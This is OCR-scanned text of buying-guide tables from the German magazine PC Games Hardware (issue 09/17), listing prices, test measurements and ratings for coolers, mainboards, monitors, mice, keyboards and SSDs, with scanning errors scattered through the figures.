Arctic Freezer i32*** Ca.€24- |124x 150 х 74 mm; 659 g 53 *C (1.270 U/min) 53,0/58,3/67,3 °C ,0/0,4/0,2 Sone** 2,71 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Shadow Rock Slim Ca.€40- | 141 x 159 x 73 mm; 702 g 54,8 °C (1.220 U/min) 53,5/57,1/64,3 °C ‚6/0,5/0,1 Sone 2,72 | 09/2015 | www.pcgh.de/preis/1054903 
Noctua NH-C14S Ca.€75- | 146 х 142 x 164mm; 1.0139 | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 3,02 | 04/2016 | www.pcgh.de/preis/1271077 
Enermax ETS-TAOF-RF Ca.€27 | 140 x 163 x 67 mm; 593g 59,7 °C (900 U/min) 57,0/60,6/68,2 °C 2,2/0,9/0,2 Sone 3,16 | 04/2016 | www.pcgh.de/preis/1312836 


* Betrieb mit 50 Prozent Drehzahl nicht möglich 


www.pcgameshardware.de 


** Messung mit analoger Ansteuerung. Bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche. *** Anpresskraft Sockel-1151-Originalhalterung zu hoch, Nachrüstkit auf Anfrage 


09/17 | PC Games Hardware 


123 


SERVICE | Einkaufsführer 


Einkaufsführer Wasserkühlung & Mainboards „о 


(LLL Т PREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) | Wertung | Test in 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 *C (1.020 U/min) 49,4/51,2/56,0 *C 3,9/1,9/0,6/0,1 Sone 1,73 08/2016 | www.pcgh.de/preis/758311939 
Arctic Liquid Freezer 240 Ca.€80,- |273x 120 x 88 mm 47,4 °C (970 U/min) 45,3/47,4/51,4 °C 2,5/1,0/,2/0,2 Sone 1,78 03/2016 | www.pcgh.de/preis/1341649 ture) 
Cooler Master Master Liquid 240 Ca.€85- | 278 х 120 х 53 mm 49,1 °C (1.320 U/min) 45,2/47,5/52,7 °C 3,9/1,6/0,4/0,1 Sone 1,81 07/2017 | www.pcgh.de/preis/1562099 
NZXT Kraken X62 Ca. € 150,- | 316 x 144 x 55 mm 43,6 °С (960 U/min) 41,5/41,7/43,6 °C 6,3/3,4/1,0/0,2 Sone 1,84 07/2017 | www.pcgh.de/preis/1526114 
Be Quiet Silent Loop 240 mm Са. € 120,- | 275 х 123 x 55 mm 50,4 °C (1.230 U/min) 47,2/48,5/51,7 °C 4,3/2,0/0,5/0,1 Sone 1,87 07/2017 | www.pcgh.de/preis/1508159 
Fractal Design Celsius 524 Ca. € 110,- | 283 x 122 x 55 mm 49,1 °C (1.100 U/min) 45,4/46,9/51,6 *C 4,6/2,1/0,7/0,1 Sone 1,99 07/2017 | www.pcgh.de/preis/1621894 
Fractal Design Celsius $36 Ca. € 140,- | 404 x 122 x 56 mm 48,2 °C (1.020 U/min) 43,1/45,0/49,1 °C 5,3/2,8/0,9/0,1 Sone 2,04 07/2017 | www.pcgh.de/preis/1621923 
Cooler Master Nepton 240M Са. € 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 46,4/47,6/51,2 °C 4,3/2,1/,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах II 240 Ca. € 80,- | 275 х 120 x 53 mm 53,3 °C (1.020 U/min) 50,2/52,5/58,1 °C 2,8/1,3/,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler Н2О 1200 Pro Са. € 80,- | 276 x 120 x 52 mm 51,7 °С (1.000 U/min) 48,0/49,7/52,7 °C 4,2/2,0/0,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
ID-Cooling Frostflow 240 N. verfüg. | 275 x 120 x 52 mm 51,7 °C (1.110 U/min) 47,6/49,3/52,1 °C 6,7/3,2/0,9/0,1 Sone 2,39 07/2017 | www.pcgh.de/preis/1425977 
Fractal Design Kelvin 524 Ca. € 120,- | 276 x 124 x 58 mm 52,7 °C (900 U/min) 49,3/50,5/53,3 °C 4,412,2/,8/0,7 Sone 2,42 06/2015 | www.pcgh.de/preis/1127755 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) | Wertung | Test in 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 270,- | 275 x 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 *C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit $240 Ca. € 200,- | 282 x 121 x 52 mm 49,2 °C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 


Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! 


Mainboards für AMD-Prozessoren 


* Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Stórgeráusche 


Sockel АМА Preis lOH/Format | PCI-E CPU (3.0) & OH (2.0) | M.2-Anbindung | Sound | USB ext./int.; SATA | Lüfter Test in 

Asus Crosshair VI Hero | Са, € 240,- | X370/ATX | x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 $1220 | 2/1x3.1; 8/2x3,0; 8x | 7 (7х PWM) | 2,81 05/2017 | www.pcgh.delpreis/1582881 

Gigabyte AX370-Gam. 5 | Ca. € 200,- | X370/ATX | x 16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 ALC1220 | 4/0x3.1; 6/4х3,0; 8x | 8 (8х PWM) | 2,82 | 05/2017 | www.pcgh.de/preis/1582173 

MSI X370 Xpower Titan. | Ca. € 270,- | X370/ATX | x16*/x0* & x1/x1/x1/x0* — | 3.0x4; 2.0x4* | ALC1220 | 213.1; 4/4х3,0; 6х | 5 (5x PWM) | 2,93 |05/2017 | www.pcgh.de/preis/1580650 

Asrock X370 Killer SLI | Ca. €150,- | X370/ATX | x16*/x0* & x1/x1/x1/x1 30:4; 2.0x2 | ALC892 | 2/0x3.1; 6/4x3,0; 6x | 5 (5х PWM) | 2,93 | 05/2017 | www.pcgh.delpreis/1582146 Ti TITEL 
Asus Prime X370-pro ` | Ca. € 150,- | X370/ATX | x16*/x0* & x0*/x1/x0*/x4* | 3.0x4 $1220A | 211x3.1;6/2x3,0;8x | 6 (6х PWM) | 2,95 | 05/2017 | www.pcgh.de/preis/1582178 

Asus Prime B350-Plus | Ca. €95,- |B350/ATX | x16 & x0*/x4*/x0* 3.0x4 ALC887 | 2/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) | 3,26 | 06/2017 | www.pcgh.delpreis/1582183 

Asrock AB350M Pro4 | Са, є 80, | B350/pATX | x16 & x1/x4 3.0х4; ЅАТА** |ALC892 | 0/0x3.1; 5/2x3,0; 4х | 3 (2x PWM) | 3,36 | 06/2017 | www.pcgh.de/preis/1582198 IT TET 
Gigabyte AB350-Gam.3 | Ca. € 110,- | B350/ATX | x16 & x1/x/4*/x0*/x0* 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6х | 5 (5x PWM) | 3,39 | 06/2017 | www.pcgh.de/preis/1582168 

Biostar Racing B350GT5 | Ca. € 120,- | B350/ATX | x16 & x0*/x0*/x4* 3.0x4 ALC892 | 2/0x3.1;42x3,0;4x |A(AxPWM) | 3,42 106/2017 | www.pcgh.delpreis/1579988 


* PCI-E-Lane-Sharing ** Shared mit SATA *** Shared mit SATA und mit PCI-E-Slot(s) 


Mainboards für Intel-Prozessoren 


Sockel 2066 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Test in PCGH-Preisvergleich 

Asus Strix X299-E Gam. Ca. € 340,- | X299/ATX x16/x16/x8 & x1*/x1/x4** 3.0x4; 3.0x4 512204 2/1x3.1; 4/4х3,0; 8х | 7 (7х PWM 2,05 09/2017 | www.pcgh.de/preis/1641089 

MSI X299 Ga. Pro Car. АС | Ca. € 340,- | Х299/АТХ | x16/x4/x16/x8 & x1/x1 3.0x4; 3.0x4 ALC1220 | 2/1x3.1; 4/4x3,0; 8x | 6 (6x PWM 2,07 09/2017 www.pcgh.de/preis/1632012- NEU ` 
Asus TUF X299 Mark 2 Са. € 230,- | X299/ATX | x16/x16/x8 & x1/x4/x1 3.0x4; 3.0x4 51220А 2/0x3.1; 4/4x3,0; 6x | 8 (8х PWM 2:12 09/2017 | www.pcgh.de/preis/1641 192 NEU. 
Gigabyte X299 Gaming 3 | Ca. € 290,- | X299/ATX | x16/x4/x16/x8 & x4 3.0x4**; 3.0x4 ALC1220 | 2/0x3.1; 6/4x3,0; 8x | 8 (8x PWM 2,29 09/2017 ‚pcgh.de/preis/1631912 

Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Test in -Preisvergleich 

Asus Maximus VIII Ranger | Ca. € 150,- | Z170/ATX x16*/x0* & х1/х1/х1/х4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 7 (7x PWM 2,33 11/2015 | www.pcgh.de/preis/1306336 

Asus Z170-Deluxe Ca. € 250,- | Z170/ATX x16*/x0* & х1/х1/х1/х1/х2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3,0; 8x | 7 (6x PWM 2,34 10/2015 | www.pcgh.de/preis/1306329 

MSI 2270 Gam. Pro Carb. | Ca. € 150,- | Z270/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM 2,37 02/2017 | www.pcgh.de/preis/1557471 

Asus Maximus IX Hero Ca. € 260,- | Z270/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/2x3.1; 4/2x3,0; 6x | 8 (8x PWM 2,41 02/2017 | www.pcgh.de/preis/1557900 

EVGA 2270 FTW K N. verfüg. | Z270/ATX x16*/x0* & x4/x1/x1 3.0x4**: 3.0x4** | ALC1150 | 2/0x3.1; 6/4x3,0; 6x | 7 (7x PWM 2,43 04/2017 | www.pcgh.de/preis/1561593 

Gigabyte 2270Х-бат. 7 | Ca. € 220,- | Z270/ATX x16*/x0* & x1/x1/x0*/x0* 3.0х4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7x PWM 2,46 02/2017 | www.pcgh.de/preis/1557876 

Asrock 7270 Gaming K6 | Ca. € 180,- | Z270/ATX x16*/x0* & х1/х1/х1/х4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8x | 5 (bx PWM 2,52 02/2017 | www.pcgh.de/preis/1544856 

MSI Z170A Gaming M7 Ca. € 170,- | Z170/ATX x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 5 (2х PWM 2,53 10/2015 | www.pcgh.de/preis/1306689 

Gigabyte Z170X-Gam. 3 | N. verfüg. | Z170/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3,0; 6x | 5 (1x PWM 2:55 11/2015 | www.pcgh.de/preis/1306467 

Asrock 2170 Gaming K4 | Ca. € 120,- | Z170/ATX x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3,0; 6x | 6 (2x PWM 2,58 11/2015 | www.pcgh.de/preis/1306625 

Biostar Z270GT6 Ca. € 210,- | Z270/ATX x16 & x1/x1/x4l*x1/x4 3.0x4* ALC892 0/0x3.1; 5/2x3,0; 6x | 5 (5х PWM 2,77 04/2017 | www.pcgh.de/preis/1558351 

MSI H170A PC Mate N. verfüg. | H170/ATX x16 & x0*/x0*/x0*/x4* 30x4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2x PWM B 08/2016 | www.pcgh.de/preis/1319556 

Asrock B150M Pro4S Ca. € 70,- | BIBO/JATX | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM 3,28 08/2016 | www.pcgh.de/preis/1318332 C E 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter | Wertung | Test in PCGH-Preisvergleich 

Asrock X99 Taichi Ca. € 250,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,80 10/2016 | www.pcgh.de/preis/1462624 

Asus Strix X99 Gaming Ca. € 290,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 10/2016 | www.pcgh.de/preis/1441449 

Gigabyte X99-Ultra Gam. | Ca. € 270,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,89 10/2016 | www.pcgh.de/preis/1446348 

MSI X99A Raider Ca. € 210,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 4123,0; 10x | 5 (2x PWM) 1,95 10/2016 www.pcgh.de/preis/1247988(T'ir Ic. 
Asus X99-E Ca. € 240,- | X99/ATX х16/х16/х0* & x1/x1 3.0х4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 10/2016 | www.pcgh.de/preis/1441447 

MSI X99A Gam. Pro Carb. | Ca. € 280,- | X99/ATX х16*/х16/х0*/х0* & х1/х1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5х3,0; 10x | 5 (1x PWM) 1,96 10/2016 | www.pcgh.de/preis/1443681 


* PCI-E-Lane-Sharing ** Shared mit SATA 
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Einkaufsführer | SERVICE 


Einkaufsführer LCDs & Eingabegeräte ЕР 


(TLYWSP[PREIS-LEISTUNGS-TIPP [EL PISPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
Asus MG248Q Ca. € 310,- 24 Zo 144 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 | 06/2016 | www.pcgh.de/preis/1419189 
Iiyama GB2488HSU-B2 Ca. € 300,- 24 Zo 144 Hertz 5 ms 12 ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 
ПТУ Acer XF240H bmjdpr Ca. € 250,- 24 Zo 144 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 
Medion Erazer X58426 Ca. € 400,- 31,5 Zoll 144 Hertz 12 ms 11 ms bis 288 cd/m? VA-Pane Freesync 1,76 | 05/2017 | www.pcgh.de/preis/1585204 
ПТМ) AOC G2460PF Ca. € 220,- 2470 144 Hertz 6 ms 4 ms 156 bis 358 cd/m? N-Pane Freesync 177 | 05/20 .pcgh.de/preis/1318972 
Asus VG278HV Ca. € 370,- 27 Zo 144 Hertz 5 ms 9ms 58 bis 305 cd/m? N-Panel - 1,79 05/20 pcgh.de/preis/1336350 
Benq Zowie XL2540 Ca. € 490,- 24,5 Zoll 240 Hertz 5ms 10 ms 40 bis 390 cd/m? N-Pane Freesync 1,83 02/201 .pcgh.de/preis/1534083 
WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
Viewsonic XG2703-GS Ca. € 830,- 21 Zo 165 Hertz - 12 ms bis 355 cd/m? PS-Panel G-Sync 1,56 | 04/2017 | www.pcgh.de/preis/1504306 
AOC Agon AG241QG Ca. € 500,- 24 Zo 165 Hertz = 13 ms bis 450 cd/m? N-Pane G-Sync 1,74 04/2017 | www.pcgh.de/preis/1476116 
TL Asus MG279Q Ca. € 585,- 2770 144 Hertz 8 ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/1215454 
Benq XL2730Z Ca. € 600,- 2770 144 Hertz 8ms 8 ms 52 bis 353 cd/m2 N-Panel Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 
Acer T272HUL bmidpcz Ca. € 530,- 27 Zo 60 Hertz 5 ms 19 ms 74 bis 312 cd/m? VA-Pane - 2,04 | 03/2014 | www.pcgh.de/preis/997601 
Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR 
iyama X4071UHSU-B1 Ca. € 570,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |— 1,81 11/2016 | www.pcgh.de/preis/1362847 
IT Asus PB287Q Ca. € 400,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? TN-Panel - 1,87 07/2014 | www.pcgh.de/preis/1094194 
Asus PB279Q Ca. € 600,- 27 Zo 60 Hertz 6 ms 9 ms 54 bis 266 cd/m? IPS-Panel _ 2,04 01/2015 | www.pcgh.de/preis/1123437 
LG 27MU67-B Ca. € 590,- 2770 60 Hertz 8 ms 11 ms 72 bis 230 cd/m? IPS-Pane Freesync 212 09/2015 | www.pcgh.de/preis/1273811 
21:9 Preis Auflösung Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
LG 38UC99-W Са. € 1.300,- | 3.840 x 1.600 | 75 Hertz 7ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 
Asus ROG PG348Q Са. € 1.120,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m? IPS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 
LG 34UC98-W Ca. € 870,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? IPS-Panel Freesync 1,76 | 07/2016 | www.pcgh.de/preis/1395258 
Samsung S34E790C Ca. € 690,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |— 1,76 04/2016 | www.pcgh.de/preis/1195794 
Asus MX34VQ Ca. € 790,- 3.440 x 1.440 | 100 Hertz 12 ms 9 ms bis 299 cd/m? VA-Pane Freesync 1,83 08/2017 | www.pcgh.de/preis/1565011 
Modell Preis Kabellänge | Tasten Abtastung Auflösung Gewicht Ergonomie | ТШ PCGH-Preisvergleich 
Roccat Nyth Са. € 125,- | 180 cm 16 + Scrollrad Optisch (Laser) | 12.000 Dpi 130 Gramm Sehr gu 1,16 11/2015 | www.pcgh.de/preis/1300527 
Roccat Leadr Са. € 150,- | Schnurlos 12 + Scrollrad Optisch (LED 2.000 Dpi 134 Gramm Sehr gu 1,22 08/2017 | www.pcgh.de/preis/1558254 
Razer Lancehead Са. € 150,- | Schnurlos | 8 + Scrollrad Optisch (Laser) | 16.000 Dpi 126 Gramm Sehr gu 1,27 | 08/2017 | www.pcgh.de/preis/1615980 
Roccat Tyon Ca.€90- | 180 ст 12 + Scrollrad Optisch (Laser) | 8.200 Dpi 126 Gramm Sehr gu 1,32 12/2014 | www.pcgh.de/preis/1154844 
YUPI Asus ROG Gladius II Ca.€80,- | 200/100 cm | 6 + Scrollrad Optisch (LED 2.000 Dpi 110 Gramm Sehr gu 1,32 04/2017 | www.pcgh.de/preis/1574884 
Logitech G900 Chaos Spectrum | Са. € 110,- | Schnurlos 10 + Scrollrad Optisch (LED. 2.000 Dpi 107 Gramm Sehr gu 1,33 | 07/2016 | www.pcgh.de/preis/1414931 
Razer Mamba 2015 Ca. € 140,- | Schnurlos 6 + Scrollrad Optisch (LED. 6.000 Dpi 128 Gramm Sehr gu 1,37 04/2017 | www.pcgh.de/preis/1310490 
Razer Mamba Tournament Edition | Са. € 80,- | 210 cm 6 + Scrollrad Optisch (Laser) | 16.000 Dpi 133 Gramm Sehr gu 139 01/2016 | www.pcgh.de/preis/1310517 
Asus ROG Pugio Ca.€80,- | 200 cm 7,5 oder 3 + Scrollrad | Optisch (LED) | 7.200 Dpi 103 Gramm Sehr gu 1,40 07/2017 | www.pcgh.de/preis/1643056 
Roccat Kone EMP Ca. € 80,- 180 cm 6 + Scrollrad Optisch (LED 2.000 Dpi 116 Gramm Sehr gu 1,42 04/2017 | www.pcgh.de/preis/1558194 
IT 6403 Prodigy Wireless Са. € 70,- | Schnurlos 5 + Scrollrad Optisch (LED 2.000 Dpi 107 bis 117 Gramm | Sehr gu 1,43 12/2016 | www.pcgh.de/preis/1503381 
Corsair Scimitar Pro RGB Ca.€85- | 180 ст 16 + Scrollrad Optisch (Laser) | 16.000 Dpi 147 Gramm Gut 1,50 05/2017 | www.pcgh.de/preis/1558629 
Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher 77 PCGH-Preisvergleich 
Roccat Isku+ Force FX Ca. € 110,- | Voll, RGB-Farbraum _ Ja (integriert) 10 + 5 Makrotasten | Ja/ja (k. A.) 1,60 06/2017 | www.pcgh.de/preis/1558265 
Razer Ornata Chroma Са. € 110,- | RGB-Einzeltastenbel. _ Ja (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 
YI TD Asus Cerberus Ca.€50,- | Voll, zwei Farben - Ja (integriert) 6 a/ja (k. A.) 1,86 10/2016 | www.pcgh.de/preis/1338736 
ТТТ Sharkoon Skiller Pro+ Са. Є 35,- | Voll, sieben Farben _ Ja (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher MICATI PCGH-Preisvergleich 
Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue | Ja/ja (2 MByte) 1,26 09/2016 | www.pcgh.de/preis/1388126 
Razer Black Widow Chroma V2 Ca. € 190,- | RGB-Einzeltastenbel. 1xUSB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown а/а (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 
Corsair K95 Platimun RGB Ca.€ 190,- | RGB-Einzeltastenbel. 1x USB 2.0 Ch. MX Speed RGB | Ch. МХ Speed КСВ | Ja/ja (8 MByte) 1,36 07/2017 | www.pcgh.de/preis/1572533 
ПТУ Sharkoon Shark Zone MK 80 RGB | Ca. € 140,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2015 | www.pcgh.de/preis/1369386 
Corsair Strafe RGB MX Silent Ca.€ 160,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 
ніташаге Qpaq MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black аЛа (k. A.) 1,45 11/2015 | www.pcgh.de/preis/1258778 
Tt esports Poseidon Z RGB Ca. € 100,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB аЛа (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 
Patriot Viper V760 Ca. € 125,- | RGB-Einzeltastenbel. 1x USB 2.0 Kailh RGB Brown Kailh RGB Brown аЛа (6 Profile) 1,49 07/2017 | www.pcgh.de/preis/1539759 
Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | Ja/ja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1549791 
Roccat Suora FX Ca.€ 140,- | RGB-Einzeltastenbel. Keine TTC RGB Brown TTC RGB Brown a/ja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 
G.Skill Ripjaws KM780 RGB Ca. € 135,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX RGB Br. | MX RGB Brown/Red | Јаја (k. A.) 1,52 03/2016 | www.pcgh.de/preis/1332861 
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SERVICE | Einkaufsführer 


Einkaufsführer 5505 & Festplatten 


Preise: Stand 20.07.2017 


Solid State Drives (SATA 3/2,5 Zoll) 


Kai 


[IS [E PREIS-LEISTUNGS-TIPP 


[ERS f SPAR-TIPP 


НҤїйшкге 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 
Samsung SSD 850 Evo Ca. € 90,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1 194261 
Adata Ultimate SU900 Ca.€115- | 238 GiB/256 GB 529/490 MB/s 83.000 84 Sekunden | 5 Jahre 2,00 05/2017 | www.pcgh.de/preis/1563414 
Adata SX930 Са. Є 110,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 | 12/2015 | www.pcgh.de/preis/1299666 
Sandisk X400 Са. € 100,- 233 GiB/250 GB 478/492 MB/s 23.000 121 Sekunden | 5 Jahre 2,31 07/2016 | www.pcgh.de/preis/1368843 
Sandisk Ultra II Са. € 95,- 224 GiB/240 GB 478/407 MB/s 24.000 109 Sekunden | 3 Jahre 2,31 07/2016 | www.pcgh.de/preis/1154831 
Kingston HyperX Sav. SSD Kit | Ca. € 135,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
Kingston SSDnow UV400 Ca. € 85,- 224 GiB/240 GB 512/488 MB/s 22.000 159 Sekunden | 3 Jahre 2,63 05/2017 | www.pcgh.de/preis/1446599 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 
Samsung SSD 850 Evo Са. Є 155,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba 0300 Pro Са. € 230,- |477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Sandisk Extreme Pro Ca. € 245,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden | 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
Sandisk Ultra II Са. € 150,- |447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 07/2016 | www.pcgh.de/preis/1154832 
Corsair Neutron Xti Са. € 190,- | 466 GiB/480 GB 528/493 MB/s 15.000 85 Sekunden | 5 Jahre 2,211 05/2017 | www.pcgh.de/preis/1469015 
Sandisk X400 Са. € 165,- |477 GiB/512 GB 476/492 MB/s 25.000 99 Sekunden | 5 Jahre 2,23 07/2016 | www.pcgh.de/preis/1368844 
Western Digital WD Blue SSD | Ca. € 150,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 05/2017 | www.pcgh.de/preis/1521437 
Kingston SSDnow UV400 Са. € 145,- | 466 GiB/480 GB 528/480 MB/s 22.000 126 Sekunden | 3 Jahre 2,41 05/2017 | www.pcgh.de/preis/1446624 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in 
Samsung SSD 850 Pro Ca.€440,- |954GiB/1.024GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.230,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Toshiba 0300 Pro Ca. € 395,- | 954 GiB/1.024 GB 519/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,89 05/2017 | www.pcgh.de/preis/1424648 
OCZ VX500 Са. €370,- | 954 GiB/1.024 GB | 520/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,91 05/2017 | www.pcgh.de/preis/1507141 
Mushkin Reactor Са. Є 285,- |932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 | 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. € 540,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
Corsair Neutron Xti Ca.€370,- | 932 GiB/960 GB GB | 528/466 MB/s 78.000 85 Sekunden | 5 Jahre 2,05 05/2017 | www.pcgh.de/preis/1469016 
0CZ Vector 180 Са. € 400,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2,15 | 08/2015 | www.pcgh.de/preis/1230950 
